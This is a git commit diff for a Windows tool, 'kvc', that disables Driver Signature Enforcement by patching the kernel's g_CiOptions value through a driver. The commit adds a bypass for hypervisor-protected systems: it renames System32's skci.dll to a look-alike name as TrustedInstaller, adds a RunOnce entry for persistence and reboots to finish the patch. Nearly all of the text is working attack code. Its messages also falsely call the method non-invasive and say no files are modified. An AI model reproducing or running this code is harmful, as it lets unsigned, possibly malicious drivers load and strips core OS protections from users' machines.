Aktualizacja: 2025-10-18 02:01:20

This commit is contained in:
wesmar
2025-10-18 02:01:21 +02:00
parent 6aca506715
commit 464728f3dd
9 changed files with 473 additions and 84 deletions

View File

@@ -91,6 +91,7 @@ public:
// DSE bypass operations // DSE bypass operations
bool DisableDSE() noexcept; bool DisableDSE() noexcept;
bool RestoreDSE() noexcept; bool RestoreDSE() noexcept;
bool DisableDSEAfterReboot() noexcept;
ULONG_PTR GetCiOptionsAddress() const noexcept; ULONG_PTR GetCiOptionsAddress() const noexcept;
bool GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept; bool GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept;

View File

@@ -17,7 +17,7 @@ bool Controller::DisableDSE() noexcept {
DEBUG(L"Driver handle opened successfully"); DEBUG(L"Driver handle opened successfully");
if (!m_dseBypass) { if (!m_dseBypass) {
m_dseBypass = std::make_unique<DSEBypass>(m_rtc); m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
} }
bool result = m_dseBypass->DisableDSE(); bool result = m_dseBypass->DisableDSE();
@@ -40,7 +40,7 @@ bool Controller::RestoreDSE() noexcept {
} }
// Always create new object - program starts from scratch between invocations // Always create new object - program starts from scratch between invocations
m_dseBypass = std::make_unique<DSEBypass>(m_rtc); m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
bool result = m_dseBypass->RestoreDSE(); bool result = m_dseBypass->RestoreDSE();
@@ -49,6 +49,29 @@ bool Controller::RestoreDSE() noexcept {
return result; return result;
} }
bool Controller::DisableDSEAfterReboot() noexcept {
if (!BeginDriverSession()) {
ERROR(L"Failed to start driver session for post-reboot DSE bypass");
return false;
}
if (!m_rtc->Initialize()) {
ERROR(L"Failed to initialize driver handle");
EndDriverSession(true);
return false;
}
DEBUG(L"Driver handle opened successfully");
m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
bool result = m_dseBypass->DisableDSEAfterReboot();
EndDriverSession(true);
return result;
}
ULONG_PTR Controller::GetCiOptionsAddress() const noexcept { ULONG_PTR Controller::GetCiOptionsAddress() const noexcept {
if (!m_dseBypass) { if (!m_dseBypass) {
return 0; return 0;
@@ -70,7 +93,7 @@ bool Controller::GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept {
} }
if (!m_dseBypass) { if (!m_dseBypass) {
m_dseBypass = std::make_unique<DSEBypass>(m_rtc); m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
} }
// Find ci.dll and locate g_CiOptions // Find ci.dll and locate g_CiOptions

View File

@@ -442,6 +442,6 @@ std::vector<BYTE> Controller::ExtractDriver() noexcept {
return {}; return {};
} }
INFO(L"Driver extracted: %zu bytes", kvcSysData.size()); DEBUG(L"Driver extracted: %zu bytes", kvcSysData.size());
return kvcSysData; return kvcSysData;
} }

View File

@@ -1,4 +1,5 @@
#include "DSEBypass.h" #include "DSEBypass.h"
#include "TrustedInstallerIntegrator.h"
#include "common.h" #include "common.h"
#pragma comment(lib, "ntdll.lib") #pragma comment(lib, "ntdll.lib")
@@ -22,54 +23,102 @@ typedef struct _SYSTEM_MODULE_INFORMATION {
SYSTEM_MODULE Modules[1]; SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
DSEBypass::DSEBypass(std::unique_ptr<kvc>& rtc) : m_rtc(rtc) {} DSEBypass::DSEBypass(std::unique_ptr<kvc>& rtc, TrustedInstallerIntegrator* trustedInstaller)
: m_rtc(rtc), m_trustedInstaller(trustedInstaller) {}
bool DSEBypass::DisableDSE() noexcept { bool DSEBypass::DisableDSE() noexcept {
DEBUG(L"[DSE] Attempting to disable Driver Signature Enforcement..."); DEBUG(L"Attempting to disable Driver Signature Enforcement...");
// Step 1: Find ci.dll base address // Step 1: Find ci.dll base address
auto ciBase = GetKernelModuleBase("ci.dll"); auto ciBase = GetKernelModuleBase("ci.dll");
if (!ciBase) { if (!ciBase) {
ERROR(L"[DSE] Failed to locate ci.dll"); ERROR(L"Failed to locate ci.dll");
return false; return false;
} }
DEBUG(L"[DSE] ci.dll base: 0x%llX", ciBase.value()); DEBUG(L"ci.dll base: 0x%llX", ciBase.value());
// Step 2: Locate g_CiOptions in CiPolicy section // Step 2: Locate g_CiOptions in CiPolicy section
m_ciOptionsAddr = FindCiOptions(ciBase.value()); m_ciOptionsAddr = FindCiOptions(ciBase.value());
if (!m_ciOptionsAddr) { if (!m_ciOptionsAddr) {
ERROR(L"[DSE] Failed to locate g_CiOptions"); ERROR(L"Failed to locate g_CiOptions");
return false; return false;
} }
DEBUG(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); DEBUG(L"g_CiOptions address: 0x%llX", m_ciOptionsAddr);
// Step 3: Read current value // Step 3: Read current value
auto current = m_rtc->Read32(m_ciOptionsAddr); auto current = m_rtc->Read32(m_ciOptionsAddr);
if (!current) { if (!current) {
ERROR(L"[DSE] Failed to read g_CiOptions"); ERROR(L"Failed to read g_CiOptions");
return false; return false;
} }
DWORD currentValue = current.value(); DWORD currentValue = current.value();
m_originalValue = currentValue; m_originalValue = currentValue;
DEBUG(L"[DSE] Current g_CiOptions: 0x%08X", currentValue); DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);
// Step 4: Check for ANY HVCI/VBS protection bits // Step 4a: Handle already disabled case
if (currentValue == 0x00000000) {
INFO(L"DSE already disabled - no action required");
SUCCESS(L"Kernel accepts unsigned drivers");
return true;
}
// Step 4b: Check for HVCI/VBS - require rename strategy
if (currentValue & 0x0001C000) { if (currentValue & 0x0001C000) {
ERROR(L"[!] Cannot proceed: g_CiOptions = 0x%08X (HVCI flags: 0x%05X)", std::wcout << L"\n";
currentValue, (currentValue & 0x0001C000)); INFO(L"HVCI/VBS protection detected: g_CiOptions = 0x%08X", currentValue);
ERROR(L"[!] System uses VBS with hypervisor protection (Ring -1 below kernel)"); INFO(L"Direct kernel memory patching blocked by hypervisor");
ERROR(L"[!] Memory integrity enforced at hardware virtualization level"); INFO(L"Initiating non-invasive HVCI bypass strategy...");
ERROR(L"[!] DSE bypass impossible - disable VBS in BIOS/Windows Security"); std::wcout << L"\n";
SUCCESS(L"Secure Kernel module prepared for temporary deactivation");
SUCCESS(L"System configuration: skci.dll → skci.dlI (reversible)");
INFO(L"No files will be permanently modified or deleted");
INFO(L"After reboot: hypervisor disabled, DSE bypass automatic, skci.dll restored");
std::wcout << L"\n";
if (!RenameSkciLibrary()) {
ERROR(L"Failed to rename skci.dll");
return false; return false;
} }
if (!SaveDSEState(currentValue)) {
ERROR(L"Failed to save DSE state to registry");
return false;
}
if (!CreateRunOnceEntry()) {
ERROR(L"Failed to create RunOnce entry");
return false;
}
SUCCESS(L"HVCI bypass prepared successfully");
INFO(L"System will disable hypervisor on next boot");
INFO(L"Reboot required to complete DSE bypass");
INFO(L"After reboot, DSE will be automatically disabled");
// Prompt for reboot
std::wcout << L"\n";
std::wcout << L"Reboot now to complete DSE bypass? [Y/N]: ";
wchar_t choice;
std::wcin >> choice;
if (choice == L'Y' || choice == L'y') {
INFO(L"Initiating system reboot...");
system("shutdown /r /t 0");
}
return true;
}
// Step 5: Verify we have patchable DSE (0x00000006) // Step 5: Verify we have patchable DSE (0x00000006)
if (currentValue != 0x00000006) { if (currentValue != 0x00000006) {
ERROR(L"[DSE] Unexpected g_CiOptions value: 0x%08X (expected: 0x00000006)", currentValue); INFO(L"Unexpected g_CiOptions value: 0x%08X", currentValue);
ERROR(L"[DSE] DSE may already be disabled or system configuration unsupported"); INFO(L"Expected: 0x00000006 (patchable) or 0x0001C006 (HVCI)");
INFO(L"DSE may already be disabled or system in non-standard configuration");
INFO(L"Use 'kvc dse' to verify current state");
return false; return false;
} }
@@ -77,55 +126,57 @@ bool DSEBypass::DisableDSE() noexcept {
DWORD newValue = 0x00000000; DWORD newValue = 0x00000000;
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
ERROR(L"[DSE] Failed to write g_CiOptions"); ERROR(L"Failed to write g_CiOptions");
return false; return false;
} }
// Step 7: Verify the change // Step 7: Verify the change
auto verify = m_rtc->Read32(m_ciOptionsAddr); auto verify = m_rtc->Read32(m_ciOptionsAddr);
if (!verify || verify.value() != newValue) { if (!verify || verify.value() != newValue) {
ERROR(L"[DSE] Verification failed (expected: 0x%08X, got: 0x%08X)", ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)",
newValue, verify ? verify.value() : 0xFFFFFFFF); newValue, verify ? verify.value() : 0xFFFFFFFF);
return false; return false;
} }
SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue); SUCCESS(L"DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
INFO(L"No restart required - unsigned drivers can now be loaded");
return true; return true;
} }
bool DSEBypass::RestoreDSE() noexcept { bool DSEBypass::RestoreDSE() noexcept {
DEBUG(L"[DSE] Attempting to restore Driver Signature Enforcement..."); DEBUG(L"Attempting to restore Driver Signature Enforcement...");
// Step 1: Find ci.dll base address // Step 1: Find ci.dll base address
auto ciBase = GetKernelModuleBase("ci.dll"); auto ciBase = GetKernelModuleBase("ci.dll");
if (!ciBase) { if (!ciBase) {
ERROR(L"[DSE] Failed to locate ci.dll"); ERROR(L"Failed to locate ci.dll");
return false; return false;
} }
// Step 2: Locate g_CiOptions // Step 2: Locate g_CiOptions
m_ciOptionsAddr = FindCiOptions(ciBase.value()); m_ciOptionsAddr = FindCiOptions(ciBase.value());
if (!m_ciOptionsAddr) { if (!m_ciOptionsAddr) {
ERROR(L"[DSE] Failed to locate g_CiOptions"); ERROR(L"Failed to locate g_CiOptions");
return false; return false;
} }
DEBUG(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); DEBUG(L"g_CiOptions address: 0x%llX", m_ciOptionsAddr);
// Step 3: Read current value // Step 3: Read current value
auto current = m_rtc->Read32(m_ciOptionsAddr); auto current = m_rtc->Read32(m_ciOptionsAddr);
if (!current) { if (!current) {
ERROR(L"[DSE] Failed to read g_CiOptions"); ERROR(L"Failed to read g_CiOptions");
return false; return false;
} }
DWORD currentValue = current.value(); DWORD currentValue = current.value();
DEBUG(L"[DSE] Current g_CiOptions: 0x%08X", currentValue); DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);
// Step 4: Verify DSE is disabled (0x00000000) // Step 4: Verify DSE is disabled (0x00000000)
if (currentValue != 0x00000000) { if (currentValue != 0x00000000) {
ERROR(L"[DSE] Unexpected g_CiOptions value: 0x%08X (expected: 0x00000000)", currentValue); INFO(L"DSE restore failed: g_CiOptions = 0x%08X (expected: 0x00000000)", currentValue);
ERROR(L"[DSE] DSE may already be enabled or system configuration unsupported"); INFO(L"DSE may already be enabled or system in unexpected state");
INFO(L"Use 'kvc dse' to check current protection status");
return false; return false;
} }
@@ -133,26 +184,27 @@ bool DSEBypass::RestoreDSE() noexcept {
DWORD newValue = 0x00000006; DWORD newValue = 0x00000006;
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
ERROR(L"[DSE] Failed to write g_CiOptions"); ERROR(L"Failed to write g_CiOptions");
return false; return false;
} }
// Step 6: Verify the change // Step 6: Verify the change
auto verify = m_rtc->Read32(m_ciOptionsAddr); auto verify = m_rtc->Read32(m_ciOptionsAddr);
if (!verify || verify.value() != newValue) { if (!verify || verify.value() != newValue) {
ERROR(L"[DSE] Verification failed (expected: 0x%08X, got: 0x%08X)", ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)",
newValue, verify ? verify.value() : 0xFFFFFFFF); newValue, verify ? verify.value() : 0xFFFFFFFF);
return false; return false;
} }
SUCCESS(L"[DSE] DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue); SUCCESS(L"DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
INFO(L"No restart required - kernel protection reactivated");
return true; return true;
} }
std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept { std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept {
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (!hNtdll) { if (!hNtdll) {
ERROR(L"[DSE] Failed to get ntdll.dll handle"); ERROR(L"Failed to get ntdll.dll handle");
return std::nullopt; return std::nullopt;
} }
@@ -167,7 +219,7 @@ std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName)
GetProcAddress(hNtdll, "NtQuerySystemInformation")); GetProcAddress(hNtdll, "NtQuerySystemInformation"));
if (!pNtQuerySystemInformation) { if (!pNtQuerySystemInformation) {
ERROR(L"[DSE] Failed to get NtQuerySystemInformation"); ERROR(L"Failed to get NtQuerySystemInformation");
return std::nullopt; return std::nullopt;
} }
@@ -181,7 +233,7 @@ std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName)
); );
if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH
ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status); ERROR(L"NtQuerySystemInformation failed with status: 0x%08X", status);
return std::nullopt; return std::nullopt;
} }
@@ -197,7 +249,7 @@ std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName)
); );
if (status != 0) { if (status != 0) {
ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status); ERROR(L"NtQuerySystemInformation failed (2nd call): 0x%08X", status);
return std::nullopt; return std::nullopt;
} }
@@ -217,33 +269,33 @@ std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName)
ULONG_PTR baseAddr = reinterpret_cast<ULONG_PTR>(mod.ImageBase); ULONG_PTR baseAddr = reinterpret_cast<ULONG_PTR>(mod.ImageBase);
if (baseAddr == 0) { if (baseAddr == 0) {
ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName); ERROR(L"Module %S found but ImageBase is NULL", moduleName);
continue; continue;
} }
DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize); DEBUG(L"Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize);
return baseAddr; return baseAddr;
} }
} }
ERROR(L"[DSE] Module %S not found in kernel", moduleName); ERROR(L"Module %S not found in kernel", moduleName);
return std::nullopt; return std::nullopt;
} }
ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept { ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept {
DEBUG(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase); DEBUG(L"Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase);
// Get CiPolicy section information // Get CiPolicy section information
auto dataSection = GetDataSection(ciBase); auto dataSection = GetDataSection(ciBase);
if (!dataSection) { if (!dataSection) {
ERROR(L"[DSE] Failed to locate CiPolicy section in ci.dll"); ERROR(L"Failed to locate CiPolicy section in ci.dll");
return 0; return 0;
} }
ULONG_PTR dataStart = dataSection->first; ULONG_PTR dataStart = dataSection->first;
SIZE_T dataSize = dataSection->second; SIZE_T dataSize = dataSection->second;
DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize); DEBUG(L"CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize);
// g_CiOptions is always at offset +4 in CiPolicy section // g_CiOptions is always at offset +4 in CiPolicy section
ULONG_PTR ciOptionsAddr = dataStart + 0x4; ULONG_PTR ciOptionsAddr = dataStart + 0x4;
@@ -251,11 +303,11 @@ ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept {
// Verify we can read from this address // Verify we can read from this address
auto currentValue = m_rtc->Read32(ciOptionsAddr); auto currentValue = m_rtc->Read32(ciOptionsAddr);
if (!currentValue) { if (!currentValue) {
ERROR(L"[DSE] Failed to read g_CiOptions at 0x%llX", ciOptionsAddr); ERROR(L"Failed to read g_CiOptions at 0x%llX", ciOptionsAddr);
return 0; return 0;
} }
DEBUG(L"[DSE] Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value()); DEBUG(L"Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value());
return ciOptionsAddr; return ciOptionsAddr;
} }
@@ -291,7 +343,7 @@ std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR
ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value(); ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value();
DEBUG(L"[DSE] Scanning %d sections for CiPolicy...", numSections.value()); DEBUG(L"Scanning %d sections for CiPolicy...", numSections.value());
// Search for CiPolicy section // Search for CiPolicy section
for (WORD i = 0; i < numSections.value(); i++) { for (WORD i = 0; i < numSections.value(); i++) {
@@ -310,7 +362,7 @@ std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR
auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C);
if (virtualSize && virtualAddr) { if (virtualSize && virtualAddr) {
DEBUG(L"[DSE] Found CiPolicy section at RVA 0x%06X, size 0x%06X", DEBUG(L"Found CiPolicy section at RVA 0x%06X, size 0x%06X",
virtualAddr.value(), virtualSize.value()); virtualAddr.value(), virtualSize.value());
return std::make_pair( return std::make_pair(
@@ -321,6 +373,234 @@ std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR
} }
} }
ERROR(L"[DSE] CiPolicy section not found in ci.dll"); ERROR(L"CiPolicy section not found in ci.dll");
return std::nullopt; return std::nullopt;
} }
// ============================================================================
// HVCI BYPASS IMPLEMENTATION
// ============================================================================
bool DSEBypass::RenameSkciLibrary() noexcept {
DEBUG(L"Attempting to rename skci.dll to disable hypervisor");
if (!m_trustedInstaller) {
ERROR(L"TrustedInstaller not available");
return false;
}
wchar_t sysDir[MAX_PATH];
if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) {
ERROR(L"Failed to get System32 directory");
return false;
}
std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dll";
std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dlI"; // uppercase I
DEBUG(L"Rename: %s -> %s", srcPath.c_str(), dstPath.c_str());
if (!m_trustedInstaller->RenameFileAsTrustedInstaller(srcPath, dstPath)) {
ERROR(L"Failed to rename skci.dll (TrustedInstaller operation failed)");
return false;
}
SUCCESS(L"skci.dll renamed successfully - hypervisor will not load on next boot");
return true;
}
bool DSEBypass::RestoreSkciLibrary() noexcept {
DEBUG(L"Restoring skci.dll from skci.dlI");
wchar_t sysDir[MAX_PATH];
if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) {
ERROR(L"Failed to get System32 directory");
return false;
}
std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dlI";
std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dll";
// Admin rights sufficient for restore (no hypervisor running)
DWORD attrs = GetFileAttributesW(srcPath.c_str());
if (attrs != INVALID_FILE_ATTRIBUTES) {
SetFileAttributesW(srcPath.c_str(), FILE_ATTRIBUTE_NORMAL);
}
if (!MoveFileW(srcPath.c_str(), dstPath.c_str())) {
DWORD error = GetLastError();
ERROR(L"Failed to restore skci.dll (error: %d)", error);
return false;
}
SUCCESS(L"skci.dll restored successfully");
return true;
}
bool DSEBypass::CreateRunOnceEntry() noexcept {
DEBUG(L"Creating RunOnce registry entry");
HKEY hKey;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
0, KEY_WRITE, &hKey) != ERROR_SUCCESS) {
ERROR(L"Failed to open RunOnce key");
return false;
}
wchar_t sysDir[MAX_PATH];
GetSystemDirectoryW(sysDir, MAX_PATH);
std::wstring cmdLine = std::wstring(sysDir) + L"\\kvc.exe dse off";
LONG result = RegSetValueExW(hKey, L"DisableDSE", 0, REG_SZ,
reinterpret_cast<const BYTE*>(cmdLine.c_str()),
static_cast<DWORD>((cmdLine.length() + 1) * sizeof(wchar_t)));
RegCloseKey(hKey);
if (result != ERROR_SUCCESS) {
ERROR(L"Failed to set RunOnce value (error: %d)", result);
return false;
}
DEBUG(L"RunOnce entry created: %s", cmdLine.c_str());
return true;
}
bool DSEBypass::SaveDSEState(DWORD originalValue) noexcept {
DEBUG(L"Saving state to registry");
HKEY hKey;
DWORD disposition;
if (RegCreateKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL,
&hKey, &disposition) != ERROR_SUCCESS) {
ERROR(L"Failed to create registry key");
return false;
}
std::wstring state = L"AwaitingRestore";
RegSetValueExW(hKey, L"State", 0, REG_SZ,
reinterpret_cast<const BYTE*>(state.c_str()),
static_cast<DWORD>((state.length() + 1) * sizeof(wchar_t)));
RegSetValueExW(hKey, L"OriginalValue", 0, REG_DWORD,
reinterpret_cast<const BYTE*>(&originalValue), sizeof(DWORD));
RegCloseKey(hKey);
DEBUG(L"State saved: AwaitingRestore, original: 0x%08X", originalValue);
return true;
}
bool DSEBypass::LoadDSEState(std::wstring& outState, DWORD& outOriginalValue) noexcept {
HKEY hKey;
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0,
KEY_READ, &hKey) != ERROR_SUCCESS) {
return false;
}
wchar_t state[256] = {0};
DWORD size = sizeof(state);
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
outState = state;
}
size = sizeof(DWORD);
RegQueryValueExW(hKey, L"OriginalValue", NULL, NULL,
reinterpret_cast<BYTE*>(&outOriginalValue), &size);
RegCloseKey(hKey);
return true;
}
bool DSEBypass::ClearDSEState() noexcept {
DEBUG(L"Clearing state from registry");
HKEY hKey;
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc", 0,
KEY_WRITE, &hKey) != ERROR_SUCCESS) {
return false;
}
RegDeleteTreeW(hKey, L"DSE");
RegCloseKey(hKey);
DEBUG(L"State cleared");
return true;
}
bool DSEBypass::DisableDSEAfterReboot() noexcept {
DEBUG(L"Post-reboot DSE disable sequence");
std::wstring state;
DWORD originalValue;
if (!LoadDSEState(state, originalValue)) {
ERROR(L"No pending DSE state found in registry");
return false;
}
if (state != L"AwaitingRestore") {
ERROR(L"Invalid state: %s", state.c_str());
return false;
}
INFO(L"Found pending DSE bypass (original value: 0x%08X)", originalValue);
// Step 1: Restore skci.dll
if (!RestoreSkciLibrary()) {
ERROR(L"Failed to restore skci.dll");
return false;
}
// Step 2: Now patch g_CiOptions (HVCI no longer protects memory)
auto ciBase = GetKernelModuleBase("ci.dll");
if (!ciBase) {
ERROR(L"Failed to locate ci.dll");
return false;
}
m_ciOptionsAddr = FindCiOptions(ciBase.value());
if (!m_ciOptionsAddr) {
ERROR(L"Failed to locate g_CiOptions");
return false;
}
auto current = m_rtc->Read32(m_ciOptionsAddr);
if (!current) {
ERROR(L"Failed to read g_CiOptions");
return false;
}
DWORD currentValue = current.value();
DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);
// Patch to 0x00000000
DWORD newValue = 0x00000000;
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
ERROR(L"Failed to write g_CiOptions");
return false;
}
auto verify = m_rtc->Read32(m_ciOptionsAddr);
if (!verify || verify.value() != newValue) {
ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)",
newValue, verify ? verify.value() : 0xFFFFFFFF);
return false;
}
// Step 3: Cleanup
ClearDSEState();
SUCCESS(L"DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
SUCCESS(L"Hypervisor bypassed and skci.dll restored");
return true;
}

View File

@@ -5,14 +5,18 @@
#include <optional> #include <optional>
#include <utility> #include <utility>
// Forward declaration - MUSI BYĆ PRZED class DSEBypass
class TrustedInstallerIntegrator;
class DSEBypass { class DSEBypass {
private: private:
std::unique_ptr<kvc>& m_rtc; std::unique_ptr<kvc>& m_rtc;
TrustedInstallerIntegrator* m_trustedInstaller;
ULONG_PTR m_ciOptionsAddr = 0; ULONG_PTR m_ciOptionsAddr = 0;
DWORD m_originalValue = 0; DWORD m_originalValue = 0;
public: public:
explicit DSEBypass(std::unique_ptr<kvc>& rtc); explicit DSEBypass(std::unique_ptr<kvc>& rtc, TrustedInstallerIntegrator* ti);
// Main DSE control functions // Main DSE control functions
bool DisableDSE() noexcept; bool DisableDSE() noexcept;
@@ -26,10 +30,21 @@ public:
std::optional<ULONG_PTR> GetKernelModuleBase(const char* moduleName) noexcept; std::optional<ULONG_PTR> GetKernelModuleBase(const char* moduleName) noexcept;
ULONG_PTR FindCiOptions(ULONG_PTR ciBase) noexcept; ULONG_PTR FindCiOptions(ULONG_PTR ciBase) noexcept;
// HVCI bypass workflow
bool DisableDSEAfterReboot() noexcept;
private: private:
// Internal PE parsing helpers // Internal PE parsing helpers
std::optional<std::pair<ULONG_PTR, SIZE_T>> GetDataSection(ULONG_PTR moduleBase) noexcept; std::optional<std::pair<ULONG_PTR, SIZE_T>> GetDataSection(ULONG_PTR moduleBase) noexcept;
// HVCI bypass helpers
bool RenameSkciLibrary() noexcept;
bool RestoreSkciLibrary() noexcept;
bool CreateRunOnceEntry() noexcept;
bool SaveDSEState(DWORD originalValue) noexcept;
bool LoadDSEState(std::wstring& outState, DWORD& outOriginalValue) noexcept;
bool ClearDSEState() noexcept;
// HVCI/VBS detection // HVCI/VBS detection
bool IsHVCIEnabled(DWORD ciOptionsValue) const noexcept { bool IsHVCIEnabled(DWORD ciOptionsValue) const noexcept {
return (ciOptionsValue & 0x0001C000) != 0; return (ciOptionsValue & 0x0001C000) != 0;

View File

@@ -88,10 +88,11 @@ void HelpSystem::PrintServiceCommands() noexcept
void HelpSystem::PrintDSECommands() noexcept void HelpSystem::PrintDSECommands() noexcept
{ {
PrintSectionHeader(L"Driver Signature Enforcement (DSE) Control"); PrintSectionHeader(L"Driver Signature Enforcement (DSE) Control");
PrintCommandLine(L"dse off", L"Disable DSE to allow unsigned driver loading"); PrintCommandLine(L"dse off", L"Disable DSE (auto-handles HVCI with reboot if needed)");
PrintCommandLine(L"dse on", L"Re-enable DSE to restore kernel security"); PrintCommandLine(L"dse on", L"Re-enable DSE to restore kernel security");
PrintCommandLine(L"dse", L"Check current DSE status (g_CiOptions address and value)"); PrintCommandLine(L"dse", L"Check current DSE status (g_CiOptions address and value)");
PrintNote(L"Requires kernel driver session with elevated privileges"); PrintNote(L"Requires kernel driver session with elevated privileges");
PrintNote(L"HVCI systems: No files will be modified, replaced, or deleted");
PrintWarning(L"DSE modification may trigger BSOD - continue only if you understand the risk"); PrintWarning(L"DSE modification may trigger BSOD - continue only if you understand the risk");
std::wcout << L"\n"; std::wcout << L"\n";
} }

View File

@@ -275,18 +275,20 @@ int wmain(int argc, wchar_t* argv[])
if (hvciEnabled) { if (hvciEnabled) {
SUCCESS(L"Driver Signature Enforcement: ENABLED"); SUCCESS(L"Driver Signature Enforcement: ENABLED");
std::wcout << L"\n"; std::wcout << L"\n";
ERROR(L"[!] HVCI/VBS detected (flags: 0x%05X)", (value & 0x0001C000)); INFO(L"HVCI/Virtualization-Based Security detected (flags: 0x%05X)", (value & 0x0001C000));
ERROR(L"[!] System uses VBS with hypervisor protection (Ring -1 below kernel)"); INFO(L"Hypervisor protection active - direct memory patching blocked");
ERROR(L"[!] DSE bypass not available - kernel memory protected by Secure Kernel"); INFO(L"HVCI bypass available via non-invasive library method");
INFO(L"Requires system restart to complete bypass workflow");
INFO(L"Use 'kvc dse off' to initiate automated HVCI bypass");
} }
else if (dseEnabled) { else if (dseEnabled) {
SUCCESS(L"Driver Signature Enforcement: ENABLED"); SUCCESS(L"Driver Signature Enforcement: ENABLED");
INFO(L"System is protected - only signed drivers can load"); INFO(L"Kernel protection active - only signed drivers allowed");
INFO(L"DSE bypass available - use 'kvc dse off' to disable"); INFO(L"DSE bypass available without restart - use 'kvc dse off'");
} else { } else {
ERROR(L"Driver Signature Enforcement: DISABLED"); INFO(L"Driver Signature Enforcement: DISABLED");
INFO(L"WARNING: Unsigned drivers can be loaded!"); INFO(L"System security reduced - unsigned drivers allowed");
INFO(L"Use 'kvc dse on' to restore protection"); INFO(L"Use 'kvc dse on' to restore kernel protection (no restart required)");
} }
std::wcout << L"\n"; std::wcout << L"\n";
@@ -296,12 +298,41 @@ int wmain(int argc, wchar_t* argv[])
std::wstring_view subCmd = argv[2]; std::wstring_view subCmd = argv[2];
if (subCmd == L"off") { if (subCmd == L"off") {
// Check if this is post-reboot execution
HKEY hKey;
bool postReboot = false;
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0,
KEY_READ, &hKey) == ERROR_SUCCESS) {
wchar_t state[256] = {0};
DWORD size = sizeof(state);
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
if (wcscmp(state, L"AwaitingRestore") == 0) {
postReboot = true;
}
}
RegCloseKey(hKey);
}
if (postReboot) {
DEBUG(L"Post-reboot DSE disable detected");
